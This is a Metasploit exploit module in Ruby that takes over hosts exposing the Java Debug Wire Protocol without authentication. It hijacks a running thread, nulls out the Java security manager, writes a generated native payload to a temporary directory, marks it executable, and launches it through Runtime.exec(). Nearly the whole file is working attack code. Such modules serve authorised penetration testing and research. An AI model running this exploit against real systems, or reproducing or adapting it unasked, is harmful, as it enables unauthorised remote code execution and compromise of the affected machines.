##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  HANDSHAKE                 = "JDWP-Handshake"

  REQUEST_PACKET_TYPE       = 0x00
  REPLY_PACKET_TYPE         = 0x80

  # Command signatures
  VERSION_SIG               = [1, 1]
  CLASSESBYSIGNATURE_SIG    = [1, 2]
  ALLCLASSES_SIG            = [1, 3]
  ALLTHREADS_SIG            = [1, 4]
  IDSIZES_SIG               = [1, 7]
  CREATESTRING_SIG          = [1, 11]
  SUSPENDVM_SIG             = [1, 8]
  RESUMEVM_SIG              = [1, 9]
  SIGNATURE_SIG             = [2, 1]
  FIELDS_SIG                = [2, 4]
  METHODS_SIG               = [2, 5]
  GETVALUES_SIG             = [2, 6]
  CLASSOBJECT_SIG           = [2, 11]
  SETSTATICVALUES_SIG       = [3, 2]
  INVOKESTATICMETHOD_SIG    = [3, 3]
  CREATENEWINSTANCE_SIG     = [3, 4]
  ARRAYNEWINSTANCE_SIG      = [4, 1]
  REFERENCETYPE_SIG         = [9, 1]
  INVOKEMETHOD_SIG          = [9, 6]
  STRINGVALUE_SIG           = [10, 1]
  THREADNAME_SIG            = [11, 1]
  THREADSUSPEND_SIG         = [11, 2]
  THREADRESUME_SIG          = [11, 3]
  THREADSTATUS_SIG          = [11, 4]
  ARRAYSETVALUES_SIG        = [13, 3]
  EVENTSET_SIG              = [15, 1]
  EVENTCLEAR_SIG            = [15, 2]
  EVENTCLEARALL_SIG         = [15, 3]

  # Other codes
  MODKIND_COUNT             = 1
  MODKIND_THREADONLY        = 2
  MODKIND_CLASSMATCH        = 5
  MODKIND_LOCATIONONLY      = 7
  MODKIND_STEP              = 10
  EVENT_BREAKPOINT          = 2
  EVENT_STEP                = 1
  SUSPEND_EVENTTHREAD       = 1
  SUSPEND_ALL               = 2
  NOT_IMPLEMENTED           = 99
  VM_DEAD                   = 112
  INVOKE_SINGLE_THREADED    = 2
  TAG_OBJECT                = 76
  TAG_STRING                = 115
  TYPE_CLASS                = 1
  TAG_ARRAY                 = 91
  TAG_VOID                  = 86
  TAG_THREAD                = 116
  STEP_INTO                 = 0
  STEP_MIN                  = 0
  THREAD_SLEEPING_STATUS     = 2

  def initialize
    super(
      'Name'           => 'Java Debug Wire Protocol Remote Code Execution',
      'Description'    => %q{
        This module abuses exposed Java Debug Wire Protocol services in order
        to execute arbitrary Java code remotely. It just abuses the protocol
        features, since no authentication is required if the service is enabled.
      },
      'Author'         => [
        'Michael Schierl', # Vulnerability discovery / First exploit seen / Msf module help
        'Christophe Alladoum', # JDWP Analysis and Exploit
        'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module
      ],
      'References'     =>
        [
          ['OSVDB', '96066'],
          ['EDB', '27179'],
          ['URL', 'http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html'],
          ['URL', 'https://seclists.org/nmap-dev/2010/q1/867'],
          ['URL', 'https://github.com/schierlm/JavaPayload/blob/master/JavaPayload/src/javapayload/builder/JDWPInjector.java'],
          ['URL', 'https://svn.nmap.org/nmap/scripts/jdwp-exec.nse'],
          ['URL', 'http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html']
        ],
      'Platform'       => %w{ linux osx win },
      'Arch'           => [ARCH_ARMLE, ARCH_AARCH64, ARCH_X86, ARCH_X64],
      'Payload'        =>
        {
          'Space'        => 10000000,
          'BadChars'    => '',
          'DisableNops' => true
        },
      'Targets'        =>
        [
          [ 'Linux (Native Payload)', { 'Platform' => 'linux' } ],
          [ 'OSX (Native Payload)', { 'Platform' => 'osx' } ],
          [ 'Windows (Native Payload)', { 'Platform' => 'win' } ]
        ],
      'DefaultTarget'  => 0,
      'License'        => MSF_LICENSE,
      'DisclosureDate' => 'Mar 12 2010'
    )

    register_options(
      [
        Opt::RPORT(8000),
        OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]),
        OptString.new('TMP_PATH', [ false, 'A directory where we can write files. Ensure there is a trailing slash']),
      ])

    register_advanced_options(
      [
        OptInt.new('NUM_RETRIES', [true, 'Number of retries when waiting for event', 10]),
      ])
  end

  def check
    connect
    res = handshake
    disconnect

    if res.nil?
      return Exploit::CheckCode::Unknown
    elsif res == HANDSHAKE
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Safe
  end


  def default_timeout
    datastore['RESPONSE_TIMEOUT']
  end

  # Establishes handshake with the server
  def handshake
    sock.put(HANDSHAKE)
    return sock.get_once(-1, datastore['RESPONSE_TIMEOUT'])
  end

  # Forges packet for JDWP protocol
  def create_packet(cmdsig, data="")
    flags = 0x00
    cmdset, cmd = cmdsig
    pktlen = data.length + 11
    buf = [pktlen, @my_id, flags, cmdset, cmd]
    pkt = buf.pack("NNCCC")
    pkt << data
    @my_id += 2
    pkt
  end

  # Reads packet response for JDWP protocol
  def read_reply(timeout = default_timeout)
    length = sock.get_once(4, timeout)
    fail_with(Failure::TimeoutExpired, "#{peer} - Not received response length") unless length
    pkt_len = length.unpack('N')[0]
    if pkt_len < 4
      fail_with(Failure::Unknown, "#{peer} - Received corrupted response")
    end
    id, flags, err_code = sock.get_once(7, timeout).unpack('NCn')
    if err_code != 0 && flags == REPLY_PACKET_TYPE
      fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{err_code}")
    end

    response = ""
    while response.length + 11 < pkt_len
      partial = sock.get_once(pkt_len, timeout)
      fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless partial
      response << partial
    end
    fail_with(Failure::Unknown, "#{peer} - Received corrupted response") unless response.length + 11 == pkt_len
    response
  end

  # Returns the characters contained in the string defined in target VM
  def solve_string(data)
    sock.put(create_packet(STRINGVALUE_SIG, data))
    response = read_reply
    return "" unless response
    return read_string(response)
  end

  # Unpacks received string structure from the server response into a normal string
  def read_string(data)
    data_len = data.unpack('N')[0]
    return data[4,data_len]
  end

  # Creates a new string object in the target VM and returns its id
  def create_string(data)
    buf = build_string(data)
    sock.put(create_packet(CREATESTRING_SIG, buf))
    buf = read_reply
    return parse_entries(buf, [[@vars['objectid_size'], "obj_id"]], false)
  end

  # Packs normal string into string structure for target VM
  def build_string(data)
    ret = [data.length].pack('N')
    ret << data

    ret
  end

  # Pack Integer for JDWP protocol
  def format(fmt, value)
    if fmt == "L" || fmt == 8
      return [value].pack('Q>')
    elsif fmt == "I" || fmt == 4
      return [value].pack('N')
    end

    fail_with(Failure::Unknown, "Unknown format")
  end

  # Unpack Integer from JDWP protocol
  def unformat(fmt, value)
    if fmt == "L" || fmt == 8
      return value[0..7].unpack('Q>')[0]
    elsif fmt == "I" || fmt == 4
      return value[0..3].unpack('N')[0]
    end

    fail_with(Failure::Unknown, "Unknown format")
  end

  # Parses given data according to a set of formats
  def parse_entries(buf, formats, explicit=true)
    entries = []
    index = 0

    if explicit
      nb_entries = buf.unpack('N')[0]
      buf = buf[4..-1]
    else
      nb_entries = 1
    end

    nb_entries.times do |var|

      if var != 0 && var % 1000 == 0
        vprint_status("Parsed #{var} classes of #{nb_entries}")
      end

      data = {}

      formats.each do |fmt,name|
        if fmt == "L" || fmt == 8
          data[name] = buf[index, 8].unpack('Q>')[0]
          index += 8
        elsif fmt == "I" || fmt == 4
          data[name] = buf[index, 4].unpack('N')[0]
          index += 4
        elsif fmt == "S"
          data_len = buf[index, 4].unpack('N')[0]
          data[name] = buf[index + 4, data_len]
          index += 4 + data_len
        elsif fmt == "C"
          data[name] = buf[index].unpack('C')[0]
          index += 1
        elsif fmt == "Z"
          t = buf[index].unpack('C')[0]
          if t == 115
            data[name] = solve_string(buf[index + 1, 8])
            index += 9
          elsif t == 73
            data[name], buf = buf[index +1, 4].unpack('NN')
          end
        else
          fail_with(Failure::UnexpectedReply, "Unexpected data when parsing server response")
        end

      end
      entries.append(data)
    end

    entries
  end

  # Gets the sizes of variably-sized data types in the target VM
  def get_sizes
    formats = [
        ["I", "fieldid_size"],
        ["I", "methodid_size"],
        ["I", "objectid_size"],
        ["I", "referencetypeid_size"],
        ["I", "frameid_size"]
    ]
    sock.put(create_packet(IDSIZES_SIG))
    response = read_reply
    entries = parse_entries(response, formats, false)
    entries.each { |e| @vars.merge!(e) }
  end

  # Gets the JDWP version implemented by the target VM
  def get_version
    formats = [
        ["S", "descr"],
        ["I", "jdwp_major"],
        ["I", "jdwp_minor"],
        ["S", "vm_version"],
        ["S", "vm_name"]
    ]
    sock.put(create_packet(VERSION_SIG))
    response = read_reply
    entries = parse_entries(response, formats, false)
    entries.each { |e| @vars.merge!(e) }
  end

  def version
    "#{@vars["vm_name"]} - #{@vars["vm_version"]}"
  end

  # Returns reference for all threads currently running on target VM
  def get_all_threads
    sock.put(create_packet(ALLTHREADS_SIG))
    response = read_reply
    num_threads = response.unpack('N').first
    index = 4

    size = @vars["objectid_size"]
    num_threads.times do
      t_id = unformat(size, response[index, size])
      @threads[t_id] = nil
      index += size
    end
  end

  # Returns reference types for all classes currently loaded by the target VM
  def get_all_classes
    return unless @classes.empty?

    formats = [
      ["C", "reftype_tag"],
      [@vars["referencetypeid_size"], "reftype_id"],
      ["S", "signature"],
      ["I", "status"]
    ]
    sock.put(create_packet(ALLCLASSES_SIG))
    response = read_reply
    @classes.append(parse_entries(response, formats))
  end

  # Checks if specified class is currently loaded by the target VM and returns it
  def get_class_by_name(name)
    @classes.each do |entry_array|
      entry_array.each do |entry|
        if entry["signature"].downcase == name.downcase
          return entry
        end
      end
    end

    nil
  end

  # Returns information for each method in a reference type (ie. object). Inherited methods are not included.
  # The list of methods will include constructors (identified with the name "<init>")
  def get_methods(reftype_id)
    if @methods.has_key?(reftype_id)
      return @methods[reftype_id]
    end

    formats = [
        [@vars["methodid_size"], "method_id"],
        ["S", "name"],
        ["S", "signature"],
        ["I", "mod_bits"]
    ]
    ref_id = format(@vars["referencetypeid_size"],reftype_id)
    sock.put(create_packet(METHODS_SIG, ref_id))
    response = read_reply
    @methods[reftype_id] = parse_entries(response, formats)
  end

  # Returns information for each field in a reference type (ie. object)
  def get_fields(reftype_id)
    formats = [
            [@vars["fieldid_size"], "field_id"],
            ["S", "name"],
            ["S", "signature"],
            ["I", "mod_bits"]
    ]
    ref_id = format(@vars["referencetypeid_size"],reftype_id)
    sock.put(create_packet(FIELDS_SIG, ref_id))
    response = read_reply
    fields = parse_entries(response, formats)

    fields
  end

  # Returns the value of one static field of the reference type. The field must be member of the reference type
  # or one of its superclasses, superinterfaces, or implemented interfaces. Access control is not enforced;
  # for example, the values of private fields can be obtained.
  def get_value(reftype_id, field_id)
    data = format(@vars["referencetypeid_size"],reftype_id)
    data << [1].pack('N')
    data << format(@vars["fieldid_size"],field_id)

    sock.put(create_packet(GETVALUES_SIG, data))
    response = read_reply
    num_values = response.unpack('N')[0]

    unless (num_values == 1) && (response[4].unpack('C')[0] == TAG_OBJECT)
      fail_with(Failure::Unknown, "Bad response when getting value for field")
    end

    len = @vars["objectid_size"]
    value = unformat(len, response[5..-1])

    value
  end

  # Sets the value of one static field. Each field must be member of the class type or one of its superclasses,
  # superinterfaces, or implemented interfaces. Access control is not enforced; for example, the values of
  # private fields can be set. Final fields cannot be set.For primitive values, the value's type must match
  # the field's type exactly. For object values, there must exist a widening reference conversion from the
  # value's type to the field's type and the field's type must be loaded.
  def set_value(reftype_id, field_id, value)
    data = format(@vars["referencetypeid_size"],reftype_id)
    data << [1].pack('N')
    data << format(@vars["fieldid_size"],field_id)
    data << format(@vars["objectid_size"],value)

    sock.put(create_packet(SETSTATICVALUES_SIG, data))
    read_reply
  end


  # Checks if specified method is currently loaded by the target VM and returns it
  def get_method_by_name(classname, name, signature = nil)
    @methods[classname].each do |entry|
        if signature.nil?
          return entry if entry["name"].downcase == name.downcase
        else
          if entry["name"].downcase == name.downcase && entry["signature"].downcase == signature.downcase
            return entry
          end
        end
    end

    nil
  end

  # Checks if specified class and method are currently loaded by the target VM and returns them
  def get_class_and_method(looked_class, looked_method, signature = nil)
    target_class = get_class_by_name(looked_class)
    unless target_class
      fail_with(Failure::Unknown, "Class \"#{looked_class}\" not found")
    end

    get_methods(target_class["reftype_id"])
    target_method = get_method_by_name(target_class["reftype_id"], looked_method, signature)
    unless target_method
      fail_with(Failure::Unknown, "Method \"#{looked_method}\" not found")
    end

    return target_class, target_method
  end

  # Transform string contaning class and method(ie. from "java.net.ServerSocket.accept" to "Ljava/net/Serversocket;" and "accept")
  def str_to_fq_class(s)
    i = s.rindex(".")
    unless i
      fail_with(Failure::BadConfig, 'Bad defined break class')
    end

    method = s[i+1..-1] # Subtr of s, from last '.' to the end of the string

    classname = 'L'
    classname << s[0..i-1].gsub(/[.]/, '/')
    classname << ';'

    return classname, method
  end

  # Gets the status of a given thread
  def thread_status(thread_id)
    sock.put(create_packet(THREADSTATUS_SIG, format(@vars["objectid_size"], thread_id)))
    buf = read_reply(datastore['BREAK_TIMEOUT'])
    unless buf
      fail_with(Failure::Unknown, "No network response")
    end
    status, suspend_status = buf.unpack('NN')

    status
  end

  # Resumes execution of the application or thread after the suspend command or an event has stopped it
  def resume_vm(thread_id = nil)
    if thread_id.nil?
      sock.put(create_packet(RESUMEVM_SIG))
    else
      sock.put(create_packet(THREADRESUME_SIG, format(@vars["objectid_size"], thread_id)))
    end

    response = read_reply(datastore['BREAK_TIMEOUT'])
    unless response
      fail_with(Failure::Unknown, "No network response")
    end

    response
  end

  # Suspend execution of the application or thread
  def suspend_vm(thread_id = nil)
    if thread_id.nil?
      sock.put(create_packet(SUSPENDVM_SIG))
    else
      sock.put(create_packet(THREADSUSPEND_SIG, format(@vars["objectid_size"], thread_id)))
    end

    response = read_reply
    unless response
      fail_with(Failure::Unknown, "No network response")
    end

    response
  end

  # Sets an event request. When the event described by this request occurs, an event is sent from the target VM
  def send_event(event_code, args)
    data = [event_code].pack('C')
    data << [SUSPEND_ALL].pack('C')
    data << [args.length].pack('N')

    args.each do |kind,option|
      data << [kind].pack('C')
      data << option
    end

    sock.put(create_packet(EVENTSET_SIG, data))
    response = read_reply
    unless response
      fail_with(Failure::Unknown, "#{peer} - No network response")
    end
    return response.unpack('N')[0]
  end

  # Parses a received event and compares it with the expected
  def parse_event(buf, event_id, thread_id)
    len = @vars["objectid_size"]
    return false if buf.length < 10 + len - 1

    r_id = buf[6..9].unpack('N')[0]
    t_id = unformat(len,buf[10..10+len-1])

    return (event_id == r_id) && (thread_id == t_id)
  end

  # Clear a defined event request
  def clear_event(event_code, r_id)
    data = [event_code].pack('C')
    data << [r_id].pack('N')
    sock.put(create_packet(EVENTCLEAR_SIG, data))
    read_reply
  end

  # Invokes a static method. The method must be member of the class type or one of its superclasses,
  # superinterfaces, or implemented interfaces. Access control is not enforced; for example, private
  # methods can be invoked.
  def invoke_static(class_id, thread_id, meth_id, args = [])
    data = format(@vars["referencetypeid_size"], class_id)
    data << format(@vars["objectid_size"], thread_id)
    data << format(@vars["methodid_size"], meth_id)
    data << [args.length].pack('N')

    args.each do |arg|
      data << arg
      data << [0].pack('N')
    end

    sock.put(create_packet(INVOKESTATICMETHOD_SIG, data))
    buf = read_reply
    buf
  end

  # Invokes a instance method. The method must be member of the object's type or one of its superclasses,
  # superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods
  # can be invoked.
  def invoke(obj_id, thread_id, class_id, meth_id, args = [])
    data = format(@vars["objectid_size"], obj_id)
    data << format(@vars["objectid_size"], thread_id)
    data << format(@vars["referencetypeid_size"], class_id)
    data << format(@vars["methodid_size"], meth_id)
    data << [args.length].pack('N')

    args.each do |arg|
      data << arg
      data << [0].pack('N')
    end

    sock.put(create_packet(INVOKEMETHOD_SIG, data))
    buf = read_reply
    buf
  end

  # Creates a new object of specified class, invoking the specified constructor. The constructor
  # method ID must be a member of the class type.
  def create_instance(class_id, thread_id, meth_id, args = [])
    data = format(@vars["referencetypeid_size"], class_id)
    data << format(@vars["objectid_size"], thread_id)
    data << format(@vars["methodid_size"], meth_id)
    data << [args.length].pack('N')

    args.each do |arg|
      data << arg
      data << [0].pack('N')
    end

    sock.put(create_packet(CREATENEWINSTANCE_SIG, data))
    buf = read_reply
    buf
  end

  # Creates a byte[]
  def create_array(len)
    target_class = get_class_by_name("[B")
    fail_with(Failure::Unknown, "target_class is nil") if target_class.nil?

    type_id = target_class["reftype_id"]
    fail_with(Failure::Unknown, "type_id is nil") if type_id.nil?

    data = format(@vars["referencetypeid_size"], type_id)
    data << [len].pack('N')

    sock.put(create_packet(ARRAYNEWINSTANCE_SIG, data))
    buf = read_reply
    buf
  end

  # Initializes the byte[] with values
  def set_values(obj_id, args = [])
    data = format(@vars["objectid_size"], obj_id)
    data << [0].pack('N')
    data << [args.length].pack('N')

    args.each do |arg|
      data << [arg].pack('C')
    end

    sock.put(create_packet(ARRAYSETVALUES_SIG, data))
    read_reply
  end

  def temp_path
    return nil unless datastore['TMP_PATH']
    unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
      fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH')
    end
    datastore['TMP_PATH']
  end

  # Configures payload according to targeted architecture
  def setup_payload
    # 1. Setting up generic values.
    payload_exe = rand_text_alphanumeric(4 + rand(4))
    pl_exe = generate_payload_exe

    # 2. Setting up arch specific...
    case target['Platform']
    when 'linux'
      path = temp_path || '/tmp/'
      payload_exe = "#{path}#{payload_exe}"
    when 'osx'
      path = temp_path || '/private/tmp/'
      payload_exe = "#{path}#{payload_exe}"
    when 'win'
      path = temp_path || './'
      payload_exe = "#{path}#{payload_exe}.exe"
    end

    if @os.downcase =~ /target['Platform']/
      print_warning("#{@os} system detected but using #{target['Platform']} target...")
    end

    return payload_exe, pl_exe
  end

  # Invokes java.lang.System.getProperty() for OS fingerprinting purposes
  def fingerprint_os(thread_id)
    size = @vars["objectid_size"]

    # 1. Creates a string on target VM with the property to be getted
    cmd_obj_ids = create_string("os.name")
    fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0
    cmd_obj_id = cmd_obj_ids[0]["obj_id"]

    # 2. Gets property
    data = [TAG_OBJECT].pack('C')
    data << format(size, cmd_obj_id)
    data_array = [data]
    runtime_class , runtime_meth = get_class_and_method("Ljava/lang/System;", "getProperty")
    buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)
    fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected String") unless buf[0] == [TAG_STRING].pack('C')

    str = unformat(size, buf[1..1+size-1])
    @os = solve_string(format(@vars["objectid_size"],str))
  end

  # Creates a file on the server given a execution thread
  def create_file(thread_id, filename)
    cmd_obj_ids = create_string(filename)
    fail_with(Failure::Unknown, "Failed to allocate string for filename") if cmd_obj_ids.length == 0

    cmd_obj_id = cmd_obj_ids[0]["obj_id"]
    size = @vars["objectid_size"]
    data = [TAG_OBJECT].pack('C')
    data << format(size, cmd_obj_id)
    data_array = [data]
    runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "<init>", "(Ljava/lang/String;)V")
    buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)
    fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C')

    file = unformat(size, buf[1..1+size-1])
    fail_with(Failure::Unknown, "Failed to create file. Try to change the TMP_PATH") if file.nil? || (file == 0)

    register_files_for_cleanup(filename)

    file
  end

  # Stores the payload on a new string created in target VM
  def upload_payload(thread_id, pl_exe)
    size = @vars["objectid_size"]

    buf = create_array(pl_exe.length)
    fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Array") unless buf[0] == [TAG_ARRAY].pack('C')

    pl = unformat(size, buf[1..1+size-1])
    fail_with(Failure::Unknown, "Failed to create byte array to store payload") if pl.nil? || (pl == 0)

    set_values(pl, pl_exe.bytes)
    pl
  end

  # Dumps the payload on a opened server file given a execution thread
  def dump_payload(thread_id, file, pl)
    size = @vars["objectid_size"]
    data = [TAG_OBJECT].pack('C')
    data << format(size, pl)
    data_array = [data]
    runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "write", "([B)V")
    buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)
    unless buf[0] == [TAG_VOID].pack('C')
      fail_with(Failure::Unknown, "Exception while writing to file")
    end
  end

  # Closes a file on the server given a execution thread
  def close_file(thread_id, file)
    runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "close")
    buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"])
    unless buf[0] == [TAG_VOID].pack('C')
      fail_with(Failure::Unknown, "Exception while closing file")
    end
  end

  # Executes a system command on target VM making use of java.lang.Runtime.exec()
  def execute_command(thread_id, cmd)
    size = @vars["objectid_size"]

    # 1. Creates a string on target VM with the command to be executed
    cmd_obj_ids = create_string(cmd)
    if cmd_obj_ids.length == 0
      fail_with(Failure::Unknown, "Failed to allocate string for payload dumping")
    end

    cmd_obj_id = cmd_obj_ids[0]["obj_id"]

    # 2. Gets Runtime context
    runtime_class , runtime_meth = get_class_and_method("Ljava/lang/Runtime;", "getRuntime")
    buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
    unless buf[0] == [TAG_OBJECT].pack('C')
      fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
    end

    rt = unformat(size, buf[1..1+size-1])
    if rt.nil? || (rt == 0)
      fail_with(Failure::Unknown, "Failed to invoke Runtime.getRuntime()")
    end

    # 3. Finds and executes "exec" method supplying the string with the command
    exec_meth = get_method_by_name(runtime_class["reftype_id"], "exec")
    if exec_meth.nil?
      fail_with(Failure::BadConfig, "Cannot find method Runtime.exec()")
    end

    data = [TAG_OBJECT].pack('C')
    data << format(size, cmd_obj_id)
    data_array = [data]
    buf = invoke(rt, thread_id, runtime_class["reftype_id"], exec_meth["method_id"], data_array)
    unless buf[0] == [TAG_OBJECT].pack('C')
      fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
    end
  end

  # Set event for stepping into a running thread
  def set_step_event
    # 1. Select a thread in sleeping status
    t_id = nil
    @threads.each_key do |thread|
      if thread_status(thread) == THREAD_SLEEPING_STATUS
        t_id = thread
        break
      end
    end
    fail_with(Failure::Unknown, "Could not find a suitable thread for stepping") if t_id.nil?

    # 2. Suspend the VM before setting the event
    suspend_vm

    vprint_status("Setting 'step into' event in thread: #{t_id}")
    step_info = format(@vars["objectid_size"], t_id)
    step_info << [STEP_MIN].pack('N')
    step_info << [STEP_INTO].pack('N')
    data = [[MODKIND_STEP, step_info]]

    r_id = send_event(EVENT_STEP, data)
    unless r_id
      fail_with(Failure::Unknown, "Could not set the event")
    end

    return r_id, t_id
  end

  # Disables security manager if it's set on target JVM
  def disable_sec_manager
    sys_class = get_class_by_name("Ljava/lang/System;")

    fields = get_fields(sys_class["reftype_id"])

    sec_field = nil

    fields.each do |field|
      sec_field = field["field_id"] if field["name"].downcase == "security"
    end

    fail_with(Failure::Unknown, "Security attribute not found") if sec_field.nil?

    value = get_value(sys_class["reftype_id"], sec_field)

    if(value == 0)
      print_good("Security manager was not set")
    else
      set_value(sys_class["reftype_id"], sec_field, 0)
      if get_value(sys_class["reftype_id"], sec_field) == 0
        print_good("Security manager has been disabled")
      else
        print_good("Security manager has not been disabled, trying anyway...")
      end
    end
  end

  # Uploads & executes the payload on the target VM
  def exec_payload(thread_id)
    # 0. Fingerprinting OS
    fingerprint_os(thread_id)

    vprint_status("Executing payload on \"#{@os}\", target version: #{version}")

    # 1. Prepares the payload
    payload_exe, pl_exe = setup_payload

    # 2. Creates file on server for dumping payload
    file = create_file(thread_id, payload_exe)

    # 3. Uploads payload to the server
    pl = upload_payload(thread_id, pl_exe)

    # 4. Dumps uploaded payload into file on the server
    dump_payload(thread_id, file, pl)

    # 5. Closes the file on the server
    close_file(thread_id, file)

    # 5b. When linux arch, give execution permissions to file
    if target['Platform'] == 'linux' || target['Platform'] == 'osx'
      cmd = "chmod +x #{payload_exe}"
      execute_command(thread_id, cmd)
    end

    # 6. Executes the dumped payload
    cmd = "#{payload_exe}"
    execute_command(thread_id, cmd)
  end


  def exploit
    @my_id = 0x01
    @vars = {}
    @classes = []
    @methods = {}
    @threads = {}
    @os = nil

    connect

    unless handshake == HANDSHAKE
      fail_with(Failure::NotVulnerable, "JDWP Protocol not found")
    end

    print_status("Retrieving the sizes of variable sized data types in the target VM...")
    get_sizes

    print_status("Getting the version of the target VM...")
    get_version

    print_status("Getting all currently loaded classes by the target VM...")
    get_all_classes

    print_status("Getting all running threads in the target VM...")
    get_all_threads

    print_status("Setting 'step into' event...")
    r_id, t_id = set_step_event

    print_status("Resuming VM and waiting for an event...")
    response = resume_vm

    unless parse_event(response, r_id, t_id)
      datastore['NUM_RETRIES'].times do |i|
        print_status("Received #{i + 1} responses that are not a 'step into' event...")
        buf = read_reply
        break if parse_event(buf, r_id, t_id)

        if i == datastore['NUM_RETRIES']
          fail_with(Failure::Unknown, "Event not received in #{datastore['NUM_RETRIES']} attempts")
        end
      end
    end

    vprint_status("Received matching event from thread #{t_id}")
    print_status("Deleting step event...")
    clear_event(EVENT_STEP, r_id)

    print_status("Disabling security manager if set...")
    disable_sec_manager

    print_status("Dropping and executing payload...")
    exec_payload(t_id)

    disconnect
  end
end
